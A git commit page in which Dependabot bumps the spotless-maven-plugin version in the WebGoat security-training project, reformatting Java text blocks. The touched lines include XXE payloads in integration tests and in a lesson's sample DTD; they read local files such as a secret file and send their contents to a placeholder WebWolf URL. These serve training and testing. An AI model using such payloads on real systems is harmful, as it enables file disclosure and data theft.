chore: bump com.diffplug.spotless:spotless-maven-plugin (#2006)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.41.1 to 2.44.2. - [Release notes](https://github.com/diffplug/spotless/releases) - [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md) - [Commits](https://github.com/diffplug/spotless/compare/maven/2.41.1...maven/2.44.2) --- updated-dependencies: - dependency-name: com.diffplug.spotless:spotless-maven-plugin dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
This commit is contained in:
parent
79ac5b7b99
commit
2a5b4385ea
2
pom.xml
2
pom.xml
@ -548,7 +548,7 @@
|
|||||||
<plugin>
|
<plugin>
|
||||||
<groupId>com.diffplug.spotless</groupId>
|
<groupId>com.diffplug.spotless</groupId>
|
||||||
<artifactId>spotless-maven-plugin</artifactId>
|
<artifactId>spotless-maven-plugin</artifactId>
|
||||||
<version>2.41.1</version>
|
<version>2.44.2</version>
|
||||||
<configuration>
|
<configuration>
|
||||||
<formats>
|
<formats>
|
||||||
<format>
|
<format>
|
||||||
|
@ -32,8 +32,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
// create user
|
// create user
|
||||||
var userTemplate =
|
var userTemplate =
|
||||||
"""
|
"""
|
||||||
{"username":"%s","password":"%s","admin": "true"}
|
{"username":"%s","password":"%s","admin": "true"}
|
||||||
""";
|
""";
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
|
@ -9,20 +9,20 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private static final String xxe3 =
|
private static final String xxe3 =
|
||||||
"""
|
"""
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||||
""";
|
""";
|
||||||
private static final String xxe4 =
|
private static final String xxe4 =
|
||||||
"""
|
"""
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||||
""";
|
""";
|
||||||
private static final String dtd7 =
|
private static final String dtd7 =
|
||||||
"""
|
"""
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
||||||
""";
|
""";
|
||||||
private static final String xxe7 =
|
private static final String xxe7 =
|
||||||
"""
|
"""
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||||
""";
|
""";
|
||||||
|
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
|
@ -72,17 +72,17 @@ public class ResetLinkAssignment implements AssignmentEndpoint {
|
|||||||
|
|
||||||
static final String TEMPLATE =
|
static final String TEMPLATE =
|
||||||
"""
|
"""
|
||||||
Hi, you requested a password reset link, please use this <a target='_blank'
|
Hi, you requested a password reset link, please use this <a target='_blank'
|
||||||
href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
|
href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
|
||||||
password.
|
password.
|
||||||
|
|
||||||
If you did not request this password change you can ignore this message.
|
If you did not request this password change you can ignore this message.
|
||||||
If you have any comments or questions, please do not hesitate to reach us at
|
If you have any comments or questions, please do not hesitate to reach us at
|
||||||
support@webgoat-cloud.org
|
support@webgoat-cloud.org
|
||||||
|
|
||||||
Kind regards,
|
Kind regards,
|
||||||
Team WebGoat
|
Team WebGoat
|
||||||
""";
|
""";
|
||||||
|
|
||||||
@PostMapping("/PasswordReset/reset/login")
|
@PostMapping("/PasswordReset/reset/login")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
|
@ -99,10 +99,10 @@ public class SimpleXXE implements AssignmentEndpoint {
|
|||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String getSampleDTDFile() {
|
public String getSampleDTDFile() {
|
||||||
return """
|
return """
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt">
|
<!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt">
|
||||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>">
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>">
|
||||||
%all;
|
%all;
|
||||||
""";
|
""";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -58,8 +58,8 @@ class MissingFunctionACUsersTest extends LessonTest {
|
|||||||
void addUser() throws Exception {
|
void addUser() throws Exception {
|
||||||
var user =
|
var user =
|
||||||
"""
|
"""
|
||||||
{"username":"newUser","password":"newUser12","admin": "true"}
|
{"username":"newUser","password":"newUser12","admin": "true"}
|
||||||
""";
|
""";
|
||||||
mockMvc
|
mockMvc
|
||||||
.perform(
|
.perform(
|
||||||
MockMvcRequestBuilders.post("/access-control/users")
|
MockMvcRequestBuilders.post("/access-control/users")
|
||||||
|
Loading…
x
Reference in New Issue
Block a user